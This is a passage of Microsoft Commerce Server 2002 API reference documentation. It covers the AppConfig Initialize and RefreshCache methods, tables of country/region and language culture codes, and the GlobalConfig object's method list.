[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AppConfig object must be initialized before any other method on this object can be used. The initialization usually happens only once in Global.asa immediately after the object is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppCfg is a Commerce.AppConfig object
oAppCfg.Initialize("Retail")

See Also

[C++] AppConfig Object

[C++] IAppCfg::RefreshCache

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.RefreshCache


IAppCfg::RefreshCache Method [C++]

AppConfig.RefreshCache Method [Visual Basic]

Use this method to refresh the cache associated with the AppConfig object.

Definition

[C++]
HRESULT IAppCfg::RefreshCache(
);
[Visual Basic]
Sub RefreshCache()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Users can add and change country/region and state/province codes and other values from within Commerce Server Business Desk; the RefreshCache method allows you to programmatically incorporate those changes at any time.

See Also

[C++] AppConfig Object

[C++] IAppCfg::Initialize

[Visual Basic] AppConfig Object

[Visual Basic] AppConfig.Initialize


Table of Country/Region and State/Province Names and Codes [C++]

Table of Country/Region and State/Province Names and Codes [Visual Basic]

Country/region codes may or may not be the same as ISO Country/region codes, depending on what values have been added in the Business Desk. The following table contains country/region names with their corresponding codes.

Official Short Form | Official Long Form | ISO Code | ISO Short | ISO Long | UN Code | Capital/Major City
Afghanistan | Islamic State of Afghanistan | 4 | AF | AFG | 4 | Kâbul
Albania | Republic of Albania | 8 | AL | ALB | 8 | Tirana
Algeria | Democratic and Popular Republic of Algeria | 12 | DZ | DZA | 12 | Algiers
American Samoa | Territory of American Samoa | 16 | AS | ASM | 16 |
Andorra | Principality of Andorra | 20 | AD | AND | 20 | Andorra la Vella
Angola | Republic of Angola | 24 | AO | AGO | 24 | Luanda
Anguilla |  | 660 | AI | AIA | 660 |
Antarctica |  | 10 | AQ | ATA | 10 |
Antigua and Barbuda | Antigua and Barbuda | 28 | AG | ATG | 28 | St. John's
Argentina | Argentine Republic | 32 | AR | ARG | 32 | Buenos Aires
Armenia | Republic of Armenia | 51 | AM | ARM | 51 | Yerevan
Aruba |  | 533 | AW | ABW | 533 |
Australia | Commonwealth of Australia | 36 | AU | AUS | 36 | Canberra
Austria | Republic of Austria | 40 | AT | AUT | 40 | Vienna
Azerbaijan | Azerbaijani Republic | 31 | AZ | AZE | 31 | Baku
Bahamas, The | The Commonwealth of The Bahamas | 44 | BS | BHS | 44 | Nassau
Bahrain | State of Bahrain | 48 | BH | BHR | 48 | Manama
Bangladesh | People's Republic of Bangladesh | 50 | BD | BGD | 50 | Dhaka
Barbados |  | 52 | BB | BRB | 52 | Bridgetown
Belarus | Republic of Belarus | 112 | BY | BLR | 112 | Minsk
Belgium | Kingdom of Belgium | 56 | BE | BEL | 56 | Brussels
Belize |  | 84 | BZ | BLZ | 84 | Belmopan
Benin | Republic of Benin | 204 | BJ | BEN | 204 | Porto-Novo
Bermuda |  | 60 | BM | BMU | 60 |
Bhutan | Kingdom of Bhutan | 64 | BT | BTN | 64 | Thimphu
Bolivia | Republic of Bolivia | 68 | BO | BOL | 68 | Sucre
Bosnia and Herzegovina | Republic of Bosnia and Herzegovina | 70 | BA | BIH | 70 | Sarajevo
Botswana | Republic of Botswana | 72 | BW | BWA | 72 | Gaborone
Bouvet Island |  | 74 | BV | BVT | - |
Brazil | Federative Republic of Brazil | 76 | BR | BRA | 76 | Brasília
British Indian Ocean Territory | British Indian Ocean Territory | 86 | IO | IOT | - |
Brunei | Negara Brunei Darussalam | 96 | BN | BRN | 96 | Bandar seri Begawan
Bulgaria | Republic of Bulgaria | 100 | BG | BGR | 100 | Sofia
Burkina Faso |  | 854 | BF | BFA | 854 | Ouagadougou
Burundi | Republic of Burundi | 108 | BI | BDI | 108 | Bujumbura
Côte d'Ivoire | Republic of Côte d'Ivoire | 384 | CI | CIV | 384 | Yamoussoukro
Cambodia | Kingdom of Cambodia | 116 | KH | KHM | 116 | Phnom Penh
Cameroon | Republic of Cameroon | 120 | CM | CMR | 120 | Yaoundé
Canada |  | 124 | CA | CAN | 124 | Ottawa
Cape Verde | Republic of Cape Verde | 132 | CV | CPV | 132 | Praia
Cayman Islands |  | 136 | KY | CYM | 136 |
Central African Republic | Central African Republic | 140 | CF | CAF | 140 | Bangui
Chad | Republic of Chad | 148 | TD | TCD | 148 | N'Djamena
Channel Islands |  | - | GB-CHA | - | 830 |
Chile | Republic of Chile | 152 | CL | CHL | 152 | Santiago
China | People's Republic of China | 156 | CN | CHN | 156 | Beijing
Christmas Island | Territory of Christmas Island | 162 | CX | CXR | - |
Cocos (Keeling) Islands | Territory of Cocos (Keeling) Islands | 166 | CC | CCK | - |
Colombia | Republic of Colombia | 170 | CO | COL | 170 | Santa Fe de Bogotá
Comoros | Federal Islamic Republic of the Comoros | 174 | KM | COM | 174 | Moroni
Congo | Republic of the Congo | 178 | CG | COG | 178 | Brazzaville
Congo (DRC) | Democratic Republic of the Congo | 180 | CD | COD | 180 | Kinshasa
Cook Islands |  | 184 | CK | COK | 184 |
Coral Sea Islands | Coral Sea Islands Territory | - | AU | - | - |
Costa Rica | Republic of Costa Rica | 188 | CR | CRI | 188 | San José
Croatia | Republic of Croatia | 191 | HR | HRV | 191 | Zagreb
Cuba | Republic of Cuba | 192 | CU | CUB | 192 | Havana
Cyprus | Republic of Cyprus | 196 | CY | CYP | 196 | Nicosia
Czech Republic | Czech Republic | 203 | CZ | CZE | 203 | Prague
Denmark | Kingdom of Denmark | 208 | DK | DNK | 208 | Copenhagen
Djibouti | Republic of Djibouti | 262 | DJ | DJI | 262 | Djibouti
Dominica | Commonwealth of Dominica | 212 | DM | DMA | 212 | Roseau
Dominican Republic | Dominican Republic | 214 | DO | DOM | 214 | Santo Domingo
East Timor |  | 626 | TP | TMP | 626 | Dili
Ecuador | Republic of Ecuador | 218 | EC | ECU | 218 | Quito
Egypt | Arab Republic of Egypt | 818 | EG | EGY | 818 | Cairo
El Salvador | Republic of El Salvador | 222 | SV | SLV | 222 | San Salvador
Equatorial Guinea | Republic of Equatorial Guinea | 226 | GQ | GNQ | 226 | Malabo
Eritrea | State of Eritrea | 232 | ER | ERI | 232 | Asmara
Estonia | Republic of Estonia | 233 | EE | EST | 233 | Tallinn
Ethiopia | Federal Democratic Republic of Ethiopia | 231 | ET | ETH | 231 | Addis Ababa
Falkland Islands (Islas Malvinas) | Colony of the Falkland Islands (Islas Malvinas) | 238 | FK | FLK | 238 |
Faroe Islands |  | 234 | FO | FRO | 234 |
Fiji Islands | Republic of the Fiji Islands | 242 | FJ | FJI | 242 | Suva
Finland | Republic of Finland | 246 | FI | FIN | 246 | Helsinki
France | French Republic | 250 | FR | FRA | 250 | Paris
France, Metropolitan |  | 249 | FX | FXX | - |
French Guiana | Department of Guiana | 254 | GF | GUF | 254 |
French Polynesia | Territory of French Polynesia | 258 | PF | PYF | 258 |
French Southern and Antarctic Lands | Territory of the French Southern and Antarctic Lands | 260 | TF | ATF | - |
Gabon | Gabonese Republic | 266 | GA | GAB | 266 | Libreville
Gambia, The | Republic of The Gambia | 270 | GM | GMB | 270 | Banjul
Georgia | Republic of Georgia | 268 | GE | GEO | 268 | T'bilisi
Germany | Federal Republic of Germany | 276 | DE | DEU | 276 | Berlin
Ghana | Republic of Ghana | 288 | GH | GHA | 288 | Accra
Gibraltar |  | 292 | GI | GIB | 292 |
Greece | Hellenic Republic | 300 | GR | GRC | 300 | Athens
Greenland |  | 304 | GL | GRL | 304 |
Grenada |  | 308 | GD | GRD | 308 | St. George's
Guadeloupe | Department of Guadeloupe | 312 | GP | GLP | 312 |
Guam | Territory of Guam | 316 | GU | GUM | 316 |
Guatemala | Republic of Guatemala | 320 | GT | GTM | 320 | Guatemala
Guernsey | Balliwick of Guernsey | - | GB-GSY | - | - |
Guinea | Republic of Guinea | 324 | GN | GIN | 324 | Conakry
Guinea-Bissau | Republic of Guinea-Bissau | 624 | GW | GNB | 624 | Bissau
Guyana | Cooperative Republic of Guyana | 328 | GY | GUY | 328 | Georgetown
Haiti | Republic of Haiti | 332 | HT | HTI | 332 | Port-au-Prince
Heard Island and McDonald Islands | Territory of Heard Island and McDonald Islands | 334 | HM | HMD | - |
Honduras | Republic of Honduras | 340 | HN | HND | 340 | Tegucigalpa
Hong Kong SAR | Hong Kong Special Administrative Region | 344 | HK | HKG | 344 |
Hungary | Republic of Hungary | 348 | HU | HUN | 348 | Budapest
Iceland | Republic of Iceland | 352 | IS | ISL | 352 | Reykjavík
India | Republic of India | 356 | IN | IND | 356 | New Delhi
Indonesia | Republic of Indonesia | 360 | ID | IDN | 360 | Jakarta
Iran | Islamic Republic of Iran | 364 | IR | IRN | 364 | Tehran
Iraq | Republic of Iraq | 368 | IQ | IRQ | 368 | Baghdad
Ireland | Republic of Ireland | 372 | IE | IRL | 372 | Dublin
Israel | State of Israel | 376 | IL | ISR | 376 | Jerusalem
Italy | Italian Republic | 380 | IT | ITA | 380 | Rome
Jamaica |  | 388 | JM | JAM | 388 | Kingston
Japan |  | 392 | JP | JPN | 392 | Tokyo
Jersey | Balliwick of Jersey | - | GB-JSY | - | - |
Jordan | Hashemite Kingdom of Jordan | 400 | JO | JOR | 400 | Amman
Kazakhstan | Republic of Kazakhstan | 398 | KZ | KAZ | 398 | Astana
Kenya | Republic of Kenya | 404 | KE | KEN | 404 | Nairobi
Kiribati | Republic of Kiribati | 296 | KI | KIR | 296 | Bairiki
Korea | Republic of Korea | 410 | KR | KOR | 410 | Seoul
Kuwait | State of Kuwait | 414 | KW | KWT | 414 | Kuwait
Kyrgyzstan | Kyrgyz Republic | 417 | KG | KGZ | 417 | Bishkek
Laos | Lao People's Democratic Republic | 418 | LA | LAO | 418 | Vientiane
Latvia | Republic of Latvia | 428 | LV | LVA | 428 | Riga
Lebanon | Republic of Lebanon | 422 | LB | LBN | 422 | Beirut
Lesotho | Kingdom of Lesotho | 426 | LS | LSO | 426 | Maseru
Liberia | Republic of Liberia | 430 | LR | LBR | 430 | Monrovia
Libya | Socialist People's Libyan Arab Jamahiriya | 434 | LY | LBY | 434 | Tripoli
Liechtenstein | Principality of Liechtenstein | 438 | LI | LIE | 438 | Vaduz
Lithuania | Republic of Lithuania | 440 | LT | LTU | 440 | Vilnius
Luxembourg | Grand Duchy of Luxembourg | 442 | LU | LUX | 442 | Luxembourg
Macau SAR | Macau Special Administrative Region | 446 | MO | MAC | 446 |
Macedonia, Former Yugoslav Republic of | The Former Yugoslav Republic of Macedonia | 807 | MK | MKD | 807 | Skopje
Madagascar | Republic of Madagascar | 450 | MG | MDG | 450 | Antananarivo
Malawi | Republic of Malawi | 454 | MW | MWI | 454 | Lilongwe
Malaysia | Federation of Malaysia | 458 | MY | MYS | 458 | Kuala Lumpur
Maldives | Republic of Maldives | 462 | MV | MDV | 462 | Malé
Mali | Republic of Mali | 466 | ML | MLI | 466 | Bamako
Malta | Republic of Malta | 470 | MT | MLT | 470 | Valletta
Man, Isle of |  | - | GB-IOM | - | 833 |
Marshall Islands | Republic of the Marshall Islands | 584 | MH | MHL | 584 | Majuro
Martinique | Department of Martinique | 474 | MQ | MTQ | 474 |
Mauritania | Islamic Republic of Mauritania | 478 | MR | MRT | 478 | Nouakchott
Mauritius | Republic of Mauritius | 480 | MU | MUS | 480 | Port Louis
Mayotte | Territorial Collectivity of Mayotte | 175 | YT | MYT | - |
Mexico | United Mexican States | 484 | MX | MEX | 484 | Mexico City
Micronesia | Federated States of Micronesia | 583 | FM | FSM | 583 | Palikir
Moldova | Republic of Moldova | 498 | MD | MDA | 498 | Chiºinãu
Monaco | Principality of Monaco | 492 | MC | MCO | 492 | Monaco
Mongolia |  | 496 | MN | MNG | 496 | Ulaanbaatar
Montserrat |  | 500 | MS | MSR | 500 |
Morocco | Kingdom of Morocco | 504 | MA | MAR | 504 | Rabat
Mozambique | Republic of Mozambique | 508 | MZ | MOZ | 508 | Maputo
Myanmar | Union of Myanmar | 104 | MM | MMR | 104 | Yangon (Rangoon)
Namibia | Republic of Namibia | 516 | NA | NAM | 516 | Windhoek
Nauru | Republic of Nauru | 520 | NR | NRU | 520 | Yaren
Nepal | Kingdom of Nepal | 524 | NP | NPL | 524 | Kathmandu
Netherlands Antilles |  | 530 | AN | ANT | 530 |
Netherlands, The | Kingdom of the Netherlands | 528 | NL | NLD | 528 | Amsterdam
New Caledonia | Territory of New Caledonia and Dependencies | 540 | NC | NCL | 540 |
New Zealand |  | 554 | NZ | NZL | 554 | Wellington
Nicaragua | Republic of Nicaragua | 558 | NI | NIC | 558 | Managua
Niger | Republic of Niger | 562 | NE | NER | 562 | Niamey
Nigeria | Federal Republic of Nigeria | 566 | NG | NGA | 566 | Abuja
Niue |  | 570 | NU | NIU | 570 |
Norfolk Island | Territory of Norfolk Island | 574 | NF | NFK | 574 |
North Korea | Democratic People's Republic of Korea | 408 | KP | PRK | 408 | Pyongyang
Northern Mariana Islands | Commonwealth of the Northern Mariana Islands | 580 | MP | MNP | 580 |
Norway | Kingdom of Norway | 578 | NO | NOR | 578 | Oslo
Oman | Sultanate of Oman | 512 | OM | OMN | 512 | Masqaþ
Pakistan | Islamic Republic of Pakistan | 586 | PK | PAK | 586 | Islâmâbâd
Palau | Republic of Palau | 585 | PW | PLW | 585 | Koror
Panama | Republic of Panama | 591 | PA | PAN | 591 | Panama City
Papua New Guinea | Independent State of Papua New Guinea | 598 | PG | PNG | 598 | Port Moresby
Paraguay | Republic of Paraguay | 600 | PY | PRY | 600 | Asunción
Peru | Republic of Peru | 604 | PE | PER | 604 | Lima
Philippines | Republic of the Philippines | 608 | PH | PHL | 608 | Manila
Pitcairn Islands | Pitcairn, Henderson, Ducie, and Oeno Islands | 612 | PN | PCN | 612 |
Poland | Republic of Poland | 616 | PL | POL | 616 | Warsaw
Portugal | Portuguese Republic | 620 | PT | PRT | 620 | Lisbon
Puerto Rico | Commonwealth of Puerto Rico | 630 | PR | PRI | 630 |
Qatar | State of Qatar | 634 | QA | QAT | 634 | Doha
Reunion | Department of Reunion | 638 | RE | REU | 638 |
Romania |  | 642 | RO | ROM | 642 | Bucharest
Russia | Russian Federation | 643 | RU | RUS | 643 | Moscow
Rwanda | Rwandese Republic | 646 | RW | RWA | 646 | Kigali
São Tomé and Príncipe | Democratic Republic of São Tomé and Príncipe | 678 | ST | STP | 678 | São Tomé
Samoa | Independent State of Samoa | 882 | WS | WSM | 882 | Apia
San Marino | Republic of San Marino | 674 | SM | SMR | 674 | San Marino
Saudi Arabia | Kingdom of Saudi Arabia | 682 | SA | SAU | 682 | Riyadh
Senegal | Republic of Senegal | 686 | SN | SEN | 686 | Dakar
Seychelles | Republic of Seychelles | 690 | SC | SYC | 690 | Victoria
Sierra Leone | Republic of Sierra Leone | 694 | SL | SLE | 694 | Freetown
Singapore | Republic of Singapore | 702 | SG | SGP | 702 | Singapore
Slovakia | Slovak Republic | 703 | SK | SVK | 703 | Bratislava
Slovenia | Republic of Slovenia | 705 | SI | SVN | 705 | Ljubljana
Solomon Islands |  | 90 | SB | SLB | 90 | Honiara
Somalia | Somali Democratic Republic | 706 | SO | SOM | 706 | Mogadishu
South Africa | Republic of South Africa | 710 | ZA | ZAF | 710 | Pretoria
South Georgia and the South Sandwich Islands | South Georgia and the South Sandwich Islands | 239 | GS | SGS | - |
Spain | Kingdom of Spain | 724 | ES | ESP | 724 | Madrid
Sri Lanka | Democratic Socialist Republic of Sri Lanka | 144 | LK | LKA | 144 | Sri Jayawardenepura
St. Helena | Saint Helena | 654 | SH | SHN | 654 |
St. Kitts and Nevis | Federation of Saint Kitts and Nevis | 659 | KN | KNA | 659 | Basseterre
St. Lucia | Saint Lucia | 662 | LC | LCA | 662 | Castries
St. Pierre and Miquelon | Territorial Collectivity of Saint Pierre and Miquelon | 666 | PM | SPM | 666 |
St. Vincent and the Grenadines | Saint Vincent and the Grenadines | 670 | VC | VCT | 670 | Kingstown
Sudan | Republic of the Sudan | 736 | SD | SDN | 736 | Khartoum
Suriname | Republic of Suriname | 740 | SR | SUR | 740 | Paramaribo
Svalbard and Jan Mayen |  | 744 | SJ | SJM | 744 |
Swaziland | Kingdom of Swaziland | 748 | SZ | SWZ | 748 | Mbabane
Sweden | Kingdom of Sweden | 752 | SE | SWE | 752 | Stockholm
Switzerland | Swiss Confederation | 756 | CH | CHE | 756 | Bern
Syria | Syrian Arab Republic | 760 | SY | SYR | 760 | Damascus
Taiwan | Taiwan | 158 | TW | TWN | 158 | Taipei
Tajikistan | Republic of Tajikistan | 762 | TJ | TJK | 762 | Dushanbe
Tanzania | United Republic of Tanzania | 834 | TZ | TZA | 834 | Dar es Salaam
Thailand | Kingdom of Thailand | 764 | TH | THA | 764 | Bangkok
Togo | Togolese Republic | 768 | TG | TGO | 768 | Lomé
Tokelau |  | 772 | TK | TKL | 772 |
Tonga | Kingdom of Tonga | 776 | TO | TON | 776 | Nuku'alofa
Trinidad and Tobago | Republic of Trinidad and Tobago | 780 | TT | TTO | 780 | Port-of-Spain
Tunisia | Republic of Tunisia | 788 | TN | TUN | 788 | Tunis
Turkey | Republic of Turkey | 792 | TR | TUR | 792 | Ankara
Turkmenistan | Republic of Turkmenistan | 795 | TM | TKM | 795 | Ashgabat
Turks and Caicos Islands |  | 796 | TC | TCA | 796 |
Tuvalu |  | 798 | TV | TUV | 798 | Funafuti
U.S. Minor Outlying Islands | United States Minor Outlying Islands | 581 | UM | UMI | 581 |
Uganda | Republic of Uganda | 800 | UG | UGA | 800 | Kampala
Ukraine |  | 804 | UA | UKR | 804 | Kyiv
United Arab Emirates |  | 784 | AE | ARE | 784 | Abu Dhabi
United Kingdom | United Kingdom of Great Britain and Northern Ireland | 826 | GB | GBR | 826 | London
United States | United States of America | 840 | US | USA | 840 | Washington, D.C.
Uruguay | Oriental Republic of Uruguay | 858 | UY | URY | 858 | Montevideo
Uzbekistan | Republic of Uzbekistan | 860 | UZ | UZB | 860 | Toshkent
Vanuatu | Republic of Vanuatu | 548 | VU | VUT | 548 | Port-Vila
Vatican City | State of Vatican City | 336 | VA | VAT | 336 | Vatican City
Venezuela | Bolivarian Republic of Venezuela | 862 | VE | VEN | 862 | Caracas
Viet Nam | Socialist Republic of Vietnam | 704 | VN | VNM | 704 | Hanoi
Virgin Islands | Virgin Islands of the United States | 850 | VI | VIR | 850 |
Virgin Islands, British |  | 92 | VG | VGB | 92 |
Wallis and Futuna | Territory of the Wallis and Futuna Islands | 876 | WF | WLF | 876 |
Yemen | Republic of Yemen | 887 | YE | YEM | 887 | Sana'a
Yugoslavia | Federal Republic of Yugoslavia | 891 | YU | YUG | 891 | Belgrade
Zambia | Republic of Zambia | 894 | ZM | ZMB | 894 | Lusaka
Zimbabwe | Republic of Zimbabwe | 716 | ZW | ZWE | 716 | Harare


Table of Language Culture Names, Codes, and ISO Values Method [C++]

Table of Language Culture Names, Codes, and ISO Values [Visual Basic]

The following table contains values for Language Culture Names, Display Names, Culture Codes, and ISO 639x Values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


GlobalConfig Object [C++]

GlobalConfig Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete resource configuration information
  • Save any updated global configuration information to the Administration database
  • Add a site
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Note

  • In Microsoft Internet Information Services (IIS) 6.0, objects are created in the configured application pool for the site, and you can configure each application pool to run as a different user. In order for Commerce Server Config objects to work with IIS 6.0, you must add the application pool user name to COM+. By default, the default application pool runs as "Network Service", with the local user account name being SERVICE.
ProgID: | Commerce.GlobalConfig (Externally creatable)
COM Class Name: | GlobalConfig
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _GlobalConfig
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _GlobalConfig interface to access the properties and methods of the GlobalConfig object.

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.

Properties

[C++]
Property | Type | Description
